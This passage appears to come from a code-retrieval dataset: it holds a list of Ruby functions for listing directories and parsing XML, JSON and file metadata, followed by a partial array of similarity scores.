file_location.parent.parent.attr('USE')\n\n case file_type\n when 'THUMBNAIL'\n if @config['include_thumbnail']\n uploaded_file = upload_file(file_dir, orig_filename, aip_filename, 'thumbnail')\n uploaded_files.push(uploaded_file) unless uploaded_file.nil?\n end\n when 'ORIGINAL'\n uploaded_file = upload_file(file_dir, orig_filename, aip_filename, 'bitstream')\n uploaded_files.push(uploaded_file) unless uploaded_file.nil?\n end\n end\n\n uploaded_files\nend",
"def get_remote_files_hierarchy(files, root = '/', hierarchy = { dirs: [], files: [] })\n files.each do |node|\n case node['node_type']\n when 'directory'\n hierarchy[:dirs] << \"#{root}#{node['name']}\"\n get_remote_files_hierarchy(node['files'], root + node['name'] + '/', hierarchy)\n when 'file'\n hierarchy[:files] << \"#{root}#{node['name']}\"\n end\n end\n\n return hierarchy\nend",
"def mediafiles\n source_node.xpath('.//MediaFile').to_a.collect do |node|\n Mediafile.new(node)\n end\n end",
"def get_folder_files(folder_path)\n ensure_file_open!\n @file.glob(\"#{folder_path}/**/*\").to_h do |entry|\n entry_file_name = Pathname.new(entry.name)\n file_name = entry_file_name.relative_path_from(folder_path)\n [file_name, entry.get_input_stream(&:read)]\n end\n end",
"def file_get_initialization(structure = ENV[\"HOME\"]) # this is linux specific for now\n @file_information = {} # {\"/directory\"=>[\"file\"], \"/directory/directory\"=>[\"file\", \"file\"]\n files = [] \n directory = \"\"\n directories = [] \n things = structure.split('/')\n things.each do |thing|\n if thing == \"\"\n directories.push(\"/root\")\n else\n directory = \"#{directory}/#{thing}\" \n @current_directory = directory\n directories.push(\"#{directory}\") if File.directory?(\"#{directory}\")\n end\n end \n return directories\n end",
"def find_files(levels=[\"0\"],up_to=300)\n\tarr = []\n\tnames = []\n\t(0...up_to).each do |i|\n\t\tlevels.each do |j|\n\t\t\tif (File.exists?(\"../scraper_and_data/scraped_genomes/level_\" + j + \"/\"+i.to_s))\n\t\t\t\tarr << \"../scraper_and_data/scraped_genomes/level_\" + j + \"/\"+i.to_s\n\t\t\t\tnames << i.to_s\n\t\t\tend\n\t\tend\n\tend\n\treturn arr,names\nend",
"def parsePhotoRequestReponseXMl\n logger.debug(\"PARSING FILES.\")\n Dir.glob(File.join(LOCAL_DIR, FILE_EXTN)).each do |file|\n begin\n doc = Nokogiri::XML.parse(File.open(file)) { |xml| xml.noblanks }\n project = doc.root.child\n project.children.each do |shotGrp|\n if shotGrp.name == \"ShotGroup\"\n puts shotGrp.name\n puts \"SalsifyID: \" + shotGrp[\"SalsifyID\"]\n puts \"ShotGroupStatus: \" + shotGrp[\"ShotGroupStatus\"]\n #products[shotGrp[\"SalsifyID\"]] = shotGrp[\"ShotGroupStatus\"]\n end\n end\n rescue Exception => e\n logger.debug(\"Error is processing file \" + file + \" \" + e.message)\n next\n end\n end\n products\n logger.debug(\"PARSING COMPLETED.\")\n end",
"def entries\n xpath './alias', './bookmark', './folder', './separator'\n end",
"def parse_files\n #Hash to store our results\n @host_results = Hash.new\n @log.debug(\"Files to be looked at : #{@scan_files.join(', ')}\")\n @scan_files.each do |file| \n file_content = File.open(file,'r').read\n begin\n @log.debug(\"File name is \" + file)\n doc = JSON.parse(file_content)\n rescue JSON::ParserError => e\n @log.warn(\"We got an error parsing #{file}\")\n next\n end\n #Make sure that the file is actually XML\n begin\n @log.debug(\"Got a sslyze file called #{file}, processing\")\n parse_file(doc)\n rescue Exception => e\n @log.warn(\"We got an error parsing #{file}\")\n @log.warn(e)\n end\n end\n end",
"def folder\n query = Builder::XmlMarkup.new.Query do |xml|\n xml.Where do |xml|\n xml.Eq do |xml|\n xml.FieldRef(:Name => \"FileRef\")\n xml.Value(::File.dirname(url).sub(/\\A\\//, \"\"), :Type => \"Text\")\n end\n xml.Eq do |xml|\n xml.FieldRef(:Name => \"FSObjType\")\n xml.Value(1, :Type => \"Text\")\n end\n end\n end\n @list.items(:folder => :all, :query => query).first\n end",
"def files\n array = []\n @list.each do |k,v|\n array += v.filename\n end\n array\n end",
"def get_tasks_from_xml( doc )\r\n\r\n # Extract details of every task into a flat array\r\n tasks = []\r\n\r\n logger.error \"DEBUG: BEGIN get_tasks_from_xml\"\r\n\r\n tracker_alias = Setting.plugin_redmine_loader['tracker_alias'].force_encoding \"UTF-8\"\r\n tracker_field_id = nil;\r\n #FIXME Надо проверить как оно работает\r\n doc.each_element( \"Project/ExtendedAttributes/ExtendedAttribute[Alias='#{tracker_alias}']/FieldID\") do | ext_attr |\r\n tracker_field_id = ext_attr.text.to_i;\r\n end\r\n\r\n doc.each_element( 'Project/Tasks/Task' ) do | task |\r\n begin\r\n logger.error \"Project/Tasks/Task found\"\r\n struct = OpenStruct.new\r\n struct.level = task.get_elements( 'OutlineLevel' )[0].text.to_i if task.get_elements('OutlineLevel')[0]\r\n struct.outlinenumber = task.get_elements('OutlineNumber')[0].text.strip if task.get_elements('OutlineNumber')[0]\r\n\r\n if auxString = struct.outlinenumber\r\n index = auxString.rindex('.')\r\n if index\r\n index -= 1\r\n struct.outnum = auxString[0..index]\r\n end\r\n end\r\n\r\n struct.tid = task.get_elements('ID')[0].text.to_i if task.get_elements('ID')[0]\r\n struct.uid = task.get_elements('UID')[0].text.to_i if task.get_elements('UID')[0]\r\n struct.title = task.get_elements('Name')[0].text.strip if task.get_elements('Name')[0]\r\n struct.start = task.get_elements('Start')[0].text.split(\"T\")[0] if task.get_elements('Start')[0]\r\n struct.finish = task.get_elements('Finish')[0].text.split(\"T\")[0] if task.get_elements('Finish')[0]\r\n\r\n s1 = task.get_elements('Start')[0].text.strip if task.get_elements('Start')[0]\r\n s2 = task.get_elements('Finish')[0].text.strip if task.get_elements('Finish')[0]\r\n\r\n task.each_element( \"ExtendedAttribute[FieldID='#{tracker_field_id}']/Value\") do | tracker_value |\r\n struct.tracker_name = tracker_value.text\r\n end\r\n\r\n # If the start date and the finish date are the same it is a milestone\r\n struct.milestone = (s1 == s2) ? 1 : 0\r\n\r\n struct.percentcomplete = task.get_elements( 'PercentComplete')[0].text.to_i\r\n struct.notes = task.get_elements( 'Notes' )[ 0 ].text.strip if task.get_elements( 'Notes' )[0]\r\n struct.predecessors = []\r\n struct.delays = []\r\n task.each_element( 'PredecessorLink' ) do | predecessor |\r\n begin\r\n struct.predecessors.push( predecessor.get_elements('PredecessorUID')[0].text.to_i )\r\n struct.delays.push( predecessor.get_elements('LinkLag')[0].text.to_i )\r\n end\r\n end\r\n\r\n tasks.push( struct )\r\n #rescue\r\n# rescue => error\r\n# # Ignore errors; they tend to indicate malformed tasks, or at least,\r\n# # XML file task entries that we do not understand.\r\n# logger.error \"DEBUG: Unrecovered error getting tasks: #{error}\"\r\n end\r\n end\r\n\r\n # Sort the array by ID. By sorting the array this way, the order\r\n # order will match the task order displayed to the user in the\r\n # project editor software which generated the XML file.\r\n\r\n tasks = tasks.sort_by { | task | task.tid }\r\n\r\n outlinenumber2UID = tasks.group_by(&:outlinenumber)\r\n\r\n # Step through the sorted tasks. Each time we find one where the\r\n # *next* task has an outline level greater than the current task,\r\n # then the current task MUST be a summary. Record its name and\r\n # blank out the task from the array. Otherwise, use whatever\r\n # summary name was most recently found (if any) as a name prefix.\r\n\r\n all_categories = []\r\n category = ''\r\n\r\n tasks.each_index do | index |\r\n task = tasks[ index ]\r\n next_task = tasks[ index + 1 ]\r\n\r\n # Instead of deleting the sumary tasks I only delete the task 0 (the project)\r\n\r\n #if ( next_task and next_task.level > task.level )\r\n # category = task.title.strip.gsub(/:$/, '') unless task.title.nil? # Kill any trailing :'s which are common in some project files\r\n # all_categories.push(category) # Keep track of all categories so we know which ones might need to be added\r\n #tasks[ index ] = \"Prueba\"\r\n if task.level == 0\r\n category = task.title.strip.gsub(/:$/, '') if task.title.present? # Kill any trailing :'s which are common in some project files\r\n all_categories.push(category) # Keep track of all categories so we know which ones might need to be added\r\n tasks[ index ] = nil\r\n else\r\n task.category = category\r\n end\r\n end\r\n\r\n # Remove any 'nil' items we created above. Add parent_uid field\r\n tasks = tasks.compact.uniq.map do |task|\r\n task.parent_uid = outlinenumber2UID[task.outnum][0].uid if outlinenumber2UID[task.outnum].present?\r\n task\r\n end\r\n\r\n # Now create a secondary array, where the UID of any given task is\r\n # the array index at which it can be found. This is just to make\r\n # looking up tasks by UID really easy, rather than faffing around\r\n # with \"tasks.find { | task | task.uid = <whatever> }\".\r\n\r\n uid_tasks = []\r\n\r\n tasks.each do | task |\r\n uid_tasks[ task.uid ] = task\r\n end\r\n\r\n # OK, now it's time to parse the assignments into some meaningful\r\n # array. These will become our redmine issues. Assignments\r\n # which relate to empty elements in \"uid_tasks\" or which have zero\r\n # work are associated with tasks which are either summaries or\r\n # milestones. Ignore both types.\r\n\r\n real_tasks = []\r\n\r\n #doc.each_element( 'Project/Assignments/Assignment' ) do | as |\r\n # task_uid = as.get_elements( 'TaskUID' )[ 0 ].text.to_i\r\n # task = uid_tasks[ task_uid ] unless task_uid.nil?\r\n # next if ( task.nil? )\r\n\r\n # work = as.get_elements( 'Work' )[ 0 ].text\r\n # Parse the \"Work\" string: \"PT<num>H<num>M<num>S\", but with some\r\n # leniency to allow any data before or after the H/M/S stuff.\r\n # hours = 0\r\n # mins = 0\r\n # secs = 0\r\n\r\n # strs = work.scan(/.*?(\\d+)H(\\d+)M(\\d+)S.*?/).flatten unless work.nil?\r\n # hours, mins, secs = strs.map { | str | str.to_i } unless strs.nil?\r\n\r\n #next if ( hours == 0 and mins == 0 and secs == 0 )\r\n\r\n # Woohoo, real task!\r\n\r\n # task.duration = ( ( ( hours * 3600 ) + ( mins * 60 ) + secs ) / 3600 ).prec_f\r\n\r\n # real_tasks.push( task )\r\n #end\r\n\r\n set_assignment_to_task(doc,uid_tasks)\r\n\r\n logger.error \"DEBUG: Real tasks: #{real_tasks.inspect}\"\r\n logger.error \"DEBUG: Tasks: #{tasks.inspect}\"\r\n\r\n real_tasks = tasks if real_tasks.empty?\r\n\r\n real_tasks = real_tasks.uniq if real_tasks.present?\r\n all_categories = all_categories.uniq.sort\r\n\r\n logger.error \"DEBUG: END get_tasks_from_xml\"\r\n\r\n return real_tasks, all_categories\r\n end",
"def get_nodes(filepaths)\n nodes = []\n filepaths.each do |filepath|\n node = get_node_from_file(filepath)\n if node[\"segments\"] != nil\n nodes << node\n end\n end\n return nodes\n end",
"def parseFileslist(doc, params, path)\n prev_commit_hash = (doc.find_first('//xmpp2rest/user/device/files/prev_commit_hash') ? doc.find_first('//xmpp2rest/user/device/files/prev_commit_hash').content : nil) \n commit_hash = (doc.find_first('//xmpp2rest/user/device/files/commit_hash')) ? doc.find_first('//xmpp2rest/user/device/files/commit_hash').content : nil\n \n if not commit_hash\n raise Exception.new(\"Missing element: commit_hash\")\n end\n \n puts \"Prev_commit_hash: \" + prev_commit_hash.to_s\n puts \"Commit_hash: \" + commit_hash.to_s\n \n location = {}\n location['latitude'] = (doc.find_first('//xmpp2rest/user/device/files/location/latitude')) ? doc.find_first('//xmpp2rest/user/device/files/location/latitude').content : \"NULL\"\n location['longitude'] = (doc.find_first('//xmpp2rest/user/device/files/location/longitude')) ? doc.find_first('//xmpp2rest/user/device/files/location/longitude').content : \"NULL\"\n \n filelist = Hash.new\n doc.find('//user/device/files/file').each do |file|\n fullpath = (file.attributes.get_attribute(\"fullpath\")) ? file.attributes.get_attribute(\"fullpath\").value : nil \n filepath = (file.find_first('path')) ? file.find_first('path').content : nil\n filename = (file.find_first('filename')) ? file.find_first('filename').content : nil \n filedate = (file.find_first('filedate')) ? file.find_first('filedate').content : nil\n filetype = (file.find_first('filetype')) ? file.find_first('filetype').content : nil\n filesize = (file.find_first('filesize')) ? file.find_first('filesize').content : nil\n version_hash = (file.find_first('version_hash')) ? file.find_first('version_hash').content : nil\n\n if not filepath or not filename or not filetype or not filesize or not filedate or not version_hash\n raise Exception.new(\"Not all the needed metadata given: filename, filetype, filesize, filedate and version_hash are compulsory!\")\n elsif fullpath.to_s != filepath.to_s + filename.to_s\n raise Exception.new(\"fullpath: #{fullpath.to_s} doesn't match to path + name: #{filepath.to_s + filename.to_s}\")\n elsif fullpath[0,1] != '/' or filepath[0,1] != '/'\n raise Exception.new(\"path must begin with /\")\n end\nputs \"filepath: #{filepath}\"\n filelist.merge!({fullpath => {\"status\" => \"created\", \"blob_hash\" => version_hash, \"name\" => filename, \"path\" => filepath, \"size\" => filesize, \"filetype\" => filetype, \"filedate\" => filedate.to_s}}) \n end\n contains = YAML.dump_stream(filelist)\nputs \"contains: #{contains.to_s}\"\n if prev_commit_hash\n puts \"prev hash added!\"\n params['prev_commit_hash'] = prev_commit_hash\n end\n \n path += \"/files\"\n params.merge!({ 'contains' => contains, 'commit_hash' => commit_hash, 'commit_location' => location})\n return params, path\n end",
"def crawl_hiera_directory(directory)\n files = []\n Dir[directory + '/**/*.yaml'].each { |f| files << File.absolute_path(f) }\n return files\n end",
"def folders\n html = http_request(@uri + '/wato.py', {\n folder: '',\n mode: 'folder',\n }, false)\n html.split(/\\n/).each do |line|\n next unless line =~ /class=\"folderpath\"/\n end\n res = []\n html.split(/\\n/).grep(/mode=editfolder/).each do |line|\n line =~ /folder=(.*?)'/\n res.push $1 unless $1.nil?\n end\n res\n end",
"def test_can_get_account_tree\n expected = Rubox::Folder.new do |f|\n f.name = ''\n f.folder_id = 0\n f.shared = '0'\n f.folders = [\n Rubox::Folder.new do |f|\n f.folder_id = 4384\n f.name = \"Incoming\"\n f.shared = '0'\n f.tags = [34]\n f.files = [\n file1 = Rubox::File.new do |f|\n f.file_id = 68736\n f.file_name = 'cows.w3g'\n f.shared = '0'\n f.size = 232386\n f.created = 1129537520\n f.updated = 1129537520\n end,\n file2 = Rubox::File.new do |f|\n f.file_id = 68737\n f.file_name = 'silver.html'\n f.shared = '0'\n f.size = 15805\n f.created = 1129537520\n f.updated = 1129537520\n f.tags = [35]\n end\n ]\n end\n ]\n end\n \n tree = \n Rubox::Parser.new(@responses['account_tree_response']).get_account_tree\n\n assert_equal expected.name, tree.name\n assert_equal expected.folder_id, tree.folder_id\n assert_equal expected.shared, tree.shared\n\n compare_folder expected.folders[0], tree.folders[0]\n end",
"def documents\n Dir[\"#{source_path}/**/*.xml\"].map do |path|\n Document.from_xml File.read(path)\n end.sort {|d1, d2| d1.position <=> d2.position }\n end",
"def get_children(directory)\n file = Pathname.new(directory)\n if file.directory?\n file.children\n else \n []\n end\nend",
"def build_file_list\n puts_and_logs 'Finding files...'\n file_list = []\n config[:source].each do |entry|\n if File.directory?(entry)\n populate_list_of_files_from_directory(file_list, entry) \n next\n end\n if File.file?(entry)\n populate_list_of_files_from_file(file_list, entry) \n next\n end\n logger.warn \"\\\"#{entry}\\\" is neither a directory nor a regular file. Ignored...\"\n end\n logger.debug(file_list)\n file_list\n end",
"def file_nodes\n @file_nodes ||= files.map { |file| create_node(file) }.compact\n end",
"def file_nodes\n @file_nodes ||= files.map { |file| create_node(file) }.compact\n end",
"def xml_parser(directory_name, filename)\n @doc = Document.new File.new(directory_name + filename)\n get_dataset_name(filename)\n set_topics\n set_dataset_rel_and_attr\n get_footnotes\n record_attributes\n @dataset.save\n end",
"def file_list path = false, only_extensions = []\n data = []\n path = @path unless path\n if File.exists?(path) && File.directory?(path)\n Dir.foreach(path) do |entry|\n next if entry == '..' or entry == '.' or entry.start_with?(\".\")\n full_path = File.join(path, entry)\n if File.directory?(full_path)\n data.concat(file_list(full_path, only_extensions))\n else\n if only_extensions.size > 0\n data << { \n :name => entry,\n :path => full_path\n } if only_extensions.all? {|extension| true if entry.end_with?(extension) }\n else\n data << { \n :name => entry,\n :path => full_path\n }\n end\n end\n end\n end\n return data\n end",
"def getXMLData( xpathObj) \n @variantArr = Array.new\n @file.xpath(xpathObj).each do |node| \n recursive_child(node) \n if !node.next_sibling.nil? && !node.next_sibling.blank?\n recursive_child(node.next_sibling)\n end \n return @mainArr \n end\n end",
"def get_image_data_from_file(xml_file_path)\n document = Nokogiri::XML(File.open(xml_file_path))\n recording = document.at_xpath('//Recordings//Recording')\n img_path = \"dvd#{recording.at_xpath('//URL/@root').to_s[-1]}/#{recording.at_xpath('//URL/@relative')}\"\n\n ImageData.from_xml(recording.at_xpath('//Subject'), img_path)\nend",
"def child_items\n items = []\n if dir?\n @path.sort_files(@path.children).each do |child|\n if child.directory?\n child = Path.new(child.to_s)\n end\n items << Item.new(child)\n end\n return items\n end\n nil\n end",
"def scan_in_api(file)\n require 'strscan'\n doc = StringScanner.new(file)\n $api = XMLElement.new\n parents = [$api]\n\n while not doc.eos?\n doc.scan(/</)\n if doc.scan(/\\/\\w+>/)\n parents.pop\n else\n name = doc.scan(/\\w+/)\n doc.scan(/\\s+/)\n values = {}\n while not (term = doc.scan(/[\\/>]/))\n key = doc.scan(/\\w+/)\n doc.scan(/='/)\n value = doc.scan(/[^']*/)\n doc.scan(/'\\s*/)\n values[key] = value\n end\n element = parents[-1].add_element(name, values)\n parents.push(element) if term == \">\"\n doc.scan(/>/) if term == \"/\"\n end\n end\n $api\nend",
"def takeFilesNames\nDir['result*.*'].each do |file_name|\n @files_names.push(file_name)\nend\nend",
"def parse_xml(xml)\n while xml\n read_xml_element(xml)\n xml = xml.next\n end\n end",
"def read_xml(xml)\n REXML::Document.new(File.read(xml)).root\nend",
"def get_filelist(root_path)\n array = Dir[root_path+'**/*'].reject {|fn| File.directory?(fn) }\nend",
"def files\n entries.map(&:filepath)\n end",
"def parent_folders\n parent_feed = Internal::Utils.extract_links(data, 'up', 'application/atom+xml','type' => 'feed')\n unless parent_feed.empty?\n Collection.new(repository, parent_feed.first)\n else\n parent_entry = Internal::Utils.extract_links(data, 'up', 'application/atom+xml','type' => 'entry')\n unless parent_entry.empty?\n e = conn.get_atom_entry(parent_entry.first)\n [ActiveCMIS::Object.from_atom_entry(repository, e)]\n else\n []\n end\n end\n end",
"def parse_files files\n file_list = gather_files files\n @stats = RDoc::Stats.new @store, file_list.length, @options.verbosity\n\n return [] if file_list.empty?\n\n original_options = @options.dup\n @stats.begin_adding\n\n file_info = file_list.map do |filename|\n @current = filename\n parse_file filename\n end.compact\n\n @stats.done_adding\n @options = original_options\n\n file_info\n end",
"def list\n require_public = ( params[:user].nil? ? false : true )\n user = ( params[:user].nil? ? session[:user] : User.first(id: params[:user]) )\n raise RequestError.new(:bad_params, \"User does not exist\") unless user\n raise RequestError.new(:bad_params, \"Depth not valid\") if params[:depth].to_i < 0\n depth = (params[:depth] ? params[:depth].to_i : -1)\n xfile = ( params[:id].nil? ? user.root_folder : WFolder.get(params[:id]) )\n raise RequestError.new(:internal_error, \"No root directory. Please contact your administrator\") if xfile.nil? && params[:id].nil?\n raise RequestError.new(:folder_not_found, \"File or folder not found\") if xfile.nil?\n if (require_public && params[:id] && session[:user].admin == false) then\n raise RequestError.new(:folder_not_public, \"Folder is not public\") if xfile.folder == true && xfile.public == false\n raise RequestError.new(:folder_not_public, \"File is not public\") if xfile.folder == false && xfile.public == false\n end\n if xfile.folder then\n @result = { folder: crawl_folder(xfile, require_public, depth), success: true }\n else \n @result = { file: xfile.description(session[:user]) , success: true }\n end\n end",
"def parents\r\n file = ''\r\n MIME.mime_dirs.each { |dir|\r\n file = \"#{dir}/#{content_type}.xml\"\r\n break if File.file? file\r\n }\r\n\r\n open(file) { |f|\r\n doc = REXML::Document.new f\r\n REXML::XPath.match(doc, '*/sub-class-of').collect { |c|\r\n MIME[c.attributes['type']]\r\n }\r\n }\r\n end",
"def split_xml(max_files = 0)\n xs = XMLSplitter.new(root_element: \"vacancies\", child_element: \"vacancy\", xml_filename: xml_filename, elements_per_file: 1000, max_files: max_files)\n xs.split\n end",
"def files\n if @array_of_ltfsfiles.empty? then parse(@filedata) else @array_of_ltfsfiles end\n end",
"def parse_xml xml\n result = XmlSimple.xml_in(xml, {'ForceArray' => false})\n result = result['result'] if result['result']\n result\n end",
"def parse(library_file)\n xml = Nokogiri::XML(File.open(library_file))\n \n # parsing songs:\n # Using 'class community' contributed snippet, \n # couple of ways I came up with were not nearly as elegant to say the least\n (xml/\"/plist/dict/dict/dict\").each do |tnode|\n metadata = Hash[*tnode.children.reject {\n |e| e.kind_of? Nokogiri::XML::Text}.collect {\n |e| e.text}]\n\n song = Track.new(metadata)\n @tracks << song\n end\n \n @albums = @tracks.collect {|s| s.album}.uniq\n @artists = @tracks.collect {|s| s.artist}.uniq\n \n # parsing playlists:\n (xml/\"/plist/dict/array/dict\").each do |pnode| \n # excluding 'special' playlists based on a 'special' string in a key \n next if (pnode/\"key\").any? {|x| x.to_s =~ /Visible|Smart|Distinguished/}\n \n # the rest is slightly modified version provided by Ben\n playlist_name = (pnode/\"key[text()='Name']\").first.next.text\n playlist_tracks = (pnode/\"array//integer\").collect {|e| e.text.to_i}\n \n playlist = Playlist.new(playlist_name, playlist_tracks)\n @playlists << playlist\n end\n end",
"def vms(folder)\n children = []\n folder.childEntity.each do |x|\n name, junk = x.to_s.split('(')\n case name\n when \"Folder\"\n children.push(vms(x))\n when \"VirtualMachine\"\n children.push(x)\n end\n end\n\n children\nend",
"def build_file_sets\n return if file_nodes.empty? || processing_derivatives?\n file_nodes.each_with_index.map do |node, index|\n file_set = create_file_set(node, files[index])\n file_set\n end\n end",
"def find(dirs); end",
"def get_file_tag_path\n levels=@file_tags.map{|e| e[:level]}.uniq\n\n dirpath = []\n levels.sort.each do |level|\n # select names from all that are not files\n level_path = @file_tags.select{|e| ((e[:level]==level) && (e[:type]!=:file))}.map{|tag| tag[:name]}\n dirpath << level_path.join('_') if !level_path.empty?\n end\n \n filepath = []\n levels.sort.each do |level|\n # select names from all that are not files\n level_path = @file_tags.select{|e| ((e[:level]==level) && (e[:type]!=:dir))}.map{|tag| tag[:name]}\n filepath << level_path.join('_') if !level_path.empty?\n end\n \n \n filename=filepath.join('_')\n dirname=File.join(dirpath)\n \n \n # puts \"#{dirname}, #{filename}\"\n \n return [dirname,filename,@file_tag_tuple_priority]\n \n end",
"def get_remote_files_hierarchy(files, root = '/', hierarchy = { dirs: [], files: [] })\n files.each do |node|\n case node['node_type']\n when 'branch'\n get_remote_files_hierarchy(node['files'], root + node['name'] + '/', hierarchy)\n when 'directory'\n hierarchy[:dirs] << \"#{root}#{node['name']}\"\n get_remote_files_hierarchy(node['files'], root + node['name'] + '/', hierarchy)\n when 'file'\n hierarchy[:files] << \"#{root}#{node['name']}\"\n end\n end\n\n return hierarchy\nend",
"def parseTimeStamps(doc, eventName, resultArray, filePath)\n doc.xpath(\"//event[@eventname='#{eventName}']\").each do |item|\n newItem = Hash.new\n newItem[\"filename\"] = item.at_xpath(\"filename\").content.split('/').last\n newItem[\"timestamp\"] = item.at_xpath(\"timestampUTC\").content.to_i\n newItem[\"filepath\"] = filePath\n if !File.exists?(File.join(newItem[\"filepath\"], newItem[\"filename\"]))\n next\n end\n resultArray.push(newItem)\n end\n\n return resultArray\nend",
"def parse_directories(files, diffs)\n files.sort!\n\n # Initialize those hashes, where each key will map to hash, in wich\n # each key maps to an array:\n # {\n # key1: {\n # },\n # key2: {\n # },\n # }\n #\n without_diffs = Hash.new { |h,k| h[k] = {} }\n with_diffs = Hash.new { |h,k| h[k] = {} }\n\n directories = files.map { |f| f.split('/').first }.uniq\n groups = directories.map { |dir| dir.split('_').first }.uniq\n\n\n # Fill in the files as variants\n directories.each do |directory|\n group = directory.split('_')[0]\n test_name = test_name_from_dir(directory)\n\n # Determines the type of test by the presence of the diff.png\n # file in the folder.\n # Ideally the manifest file format would be different and\n # include the test type with\n if files.select { |file_name| file_name.start_with?(directory) }.any? { |file_name| file_name.include?('diff.png') }\n variants = variants_for_page(directory, diffs)\n else\n variants = variants_for_api_endpoint(directory, diffs, files)\n end\n\n if diffs[directory]\n with_diffs[group][test_name] = variants\n else\n without_diffs[group][test_name] = variants\n end\n end\n\n return groups, without_diffs, with_diffs\n\n # For reference\n # gallery_format = {\n # \"1080\" => {\n # \"name\" => [\n # {\n # image: \"full_img_src\",\n # thumb: \"thumb_src\",\n # domain: \"production\"\n # }, {\n # image: \"foo_src\",\n # thumb: \"thumb_src\",\n # domain: \"test\"\n # }, {\n # image: \"diff_src\",\n # thumb: \"diff_thumb_src\",\n # domain: \"diff\",\n # diff_amt: 0.1\n # }\n # }\n # }\n # }\n end",
"def list_files\n Find.find(path) do |element| yield element end\n end",
"def parse_files(files_a)\n\t\tfiles_a.each do |file_p|\n\t\t\tparse_file(file_p) do |cons|\n\t\t\t\tyield(cons)\n\t\t\tend\n\t\tend\n\tend",
"def parse_files (path = '.', parent_id = 0)\n\n full_path = root_path().join(path)\n\n Dir.foreach(full_path) {|file_name|\n\n if file_name == '.' || file_name == '..'\n next\n end\n\n program_file = program_files.build()\n program_file.name = file_name\n program_file.path = Pathname.new(path).join(file_name).to_s\n program_file.parent_id = parent_id\n\n if File.ftype(full_path.join(file_name)) == 'directory'\n program_file.file_type = :dir\n program_file.save\n parse_files Pathname.new(path).join(file_name), program_file.id\n else\n program_file.file_type = :file\n program_file.save\n end\n }\n end",
"def get_document_assets( dirname )\n\n files = []\n f = File.join( dirname, TaskHelpers::DOCUMENT_FILES_LIST )\n begin\n File.open( f, 'r').each do |line|\n\n # handle blank and commented lines\n next if line.blank?\n next if line[ 0 ] == '#'\n tokens = line.strip.split( \"|\" )\n files << { :id => tokens[ 0 ], :timestamp => tokens[ 1 ], :title => tokens[ 2 ] }\n end\n rescue Errno::ENOENT\n # do nothing, no files...\n end\n\n return files\n end",
"def array_from_xml(xml, opts=OPTS)\n node = Nokogiri::XML(xml).children.first\n unless node \n raise Error, \"Malformed XML used\"\n end\n node.children.reject{|c| c.is_a?(Nokogiri::XML::Text)}.map{|c| from_xml_node(c, opts)}\n end",
"def get_dirs_and_files(list, path)\n path ||= '.'\n dirs = []\n files = []\n list.each{|l|\n parsed = l.split ' '\n if parsed.size != 9\n puts \"parsed line '#{list}' into something that wasn't 9 pieces\"\n end\n if parsed[0][0] == 'd'\n dirs << \"#{path}/#{parsed[8]}\"\n else\n files << [\"#{path}/#{parsed[8]}\", parsed[4]]\n end\n }\n [dirs, files]\n end",
"def parse\n return false unless filecheck\n doc = REXML::Document.new(open(file))\n @result_set = []\n doc.elements.each(RESULT_PATH) do |e|\n result_array = [] # [0]: name, [1]: data type, [2]:null\n get_generic(e, result_array)\n @result_set.push(result_array)\n end\n return true\n end",
"def read_nodes(elem)\n return [] if elem == nil\n nodes = []\n elem.elements.each('node') do |node_elem|\n nodes << read_node(node_elem)\n end\n nodes\nend",
"def getFiles(tree, name)\n files = []\n\n tree.each_tree do |subtree|\n path = name + subtree[:name] + '/'\n subfiles = getFiles($repo.lookup(subtree[:oid]), path)\n files.push(*subfiles)\n end\n\n tree.each_blob do |file|\n file[:name] = name + file[:name]\n files.push(file)\n end\n\n return files\nend",
"def fetch_page_nodes\n (1..12).each do |file_name|\n body = File.open(\"#{Rails.root}/lib/wayfair_batch/#{file_name}.html\")\n @page_nodes.push(Nokogiri::HTML(body))\n end\n end",
"def files(type=nil)\n type += '/**' if type\n type ||= '**'\n Dir[snippet_directory + \"/#{type}/*.xml\"]\n end",
"def getProjectNames(projectsinfo_xml)\n project_names = Array.new\n doc = Nokogiri::XML(projectsinfo_xml)\n doc.css('//project').each do |project|\n project_names << project.at_css('name').content\n end\n return project_names\nend",
"def generate_data\n tokens = []\n # loop over schema files\n Dir.glob('assets/data/schema/*.xsd').map do |schema|\n data = read_file(schema)\n data.scan(/<xs:\\w+|\\w+=\"\\w+\"|\\w+=\"xs:\\w+\"/).uniq do |x|\n tokens << x unless tokens.include? x\n end\n data.scan(/<xs:\\w+ \\w+=\"\\w+\"/).uniq do |x|\n tokens << x unless tokens.include? x\n end\n end\n # create main data array\n structure = []\n tokens.sort.map.with_index do |x, i|\n structure[i] = [x]\n Dir.glob('assets/data/schema/*.xsd').map do |schema|\n filename = schema.split('/').last\n amount = read_file(schema).scan(x).size\n structure[i] << [filename, amount] unless amount.zero?\n end\n end\n structure\nend",
"def file_list\n list = []\n\n list.concat(Array.new(4, \"class0/file0.html\"))\n list << \"class0/file1.html\"\n list.concat(Array.new(2, \"class0/file2.html\"))\n list.concat(Array.new(3, \"class0/file3.html\"))\n list.concat(Array.new(4, \"class0/file4.html\"))\n\n list.concat(Array.new(7, \"class1/file0.html\"))\n list.concat(Array.new(2, \"class1/file1.html\"))\n list.concat(Array.new(3, \"class1/file2.html\"))\n\n list.concat(Array.new(8, \"class2/file0.html\"))\n list.concat(Array.new(5, \"class2/file1.html\"))\n list.concat(Array.new(5, \"class2/file2.html\"))\n list.concat(Array.new(10, \"class2/file3.html\"))\n\n list.concat(Array.new(15, \"class3/file0.html\"))\n list.concat(Array.new(7, \"class3/file1.html\"))\n\n list.concat(Array.new(12, \"class4/file0.html\"))\n\n list.concat(Array.new(11, \"class5/file0.html\"))\n\n return list.shuffle\nend"
] |
[
"0.6782719",
"0.6507804",
"0.63711464",
"0.6289863",
"0.6087248",
"0.6042166",
"0.5996094",
"0.5995717",
"0.5993641",
"0.59721875",
"0.59633535",
"0.5877604",
"0.5820386",
"0.58015496",
"0.57989454",
"0.57458323",
"0.57425815",
"0.5717449",
"0.5705044",
"0.5695191",
"0.5684433",
"0.5677957",
"0.56722766",
"0.56606233",
"0.5654054",
"0.56470203",
"0.5600457",
"0.55978066",
"0.5586744",
"0.55812603",
"0.55742675",
"0.55644286",
"0.5556923",
"0.55438703",
"0.55074835",
"0.5503425",
"0.5483161",
"0.5459423",
"0.54587966",
"0.54479706",
"0.54421073",
"0.54329264",
"0.5430095",
"0.54201",
"0.5419524",
"0.5399029",
"0.53863907",
"0.53727853",
"0.5359866",
"0.5354685",
"0.5352596",
"0.5349588",
"0.5341842",
"0.53325284",
"0.5326315",
"0.53236324",
"0.53201795",
"0.5317321",
"0.53107405",
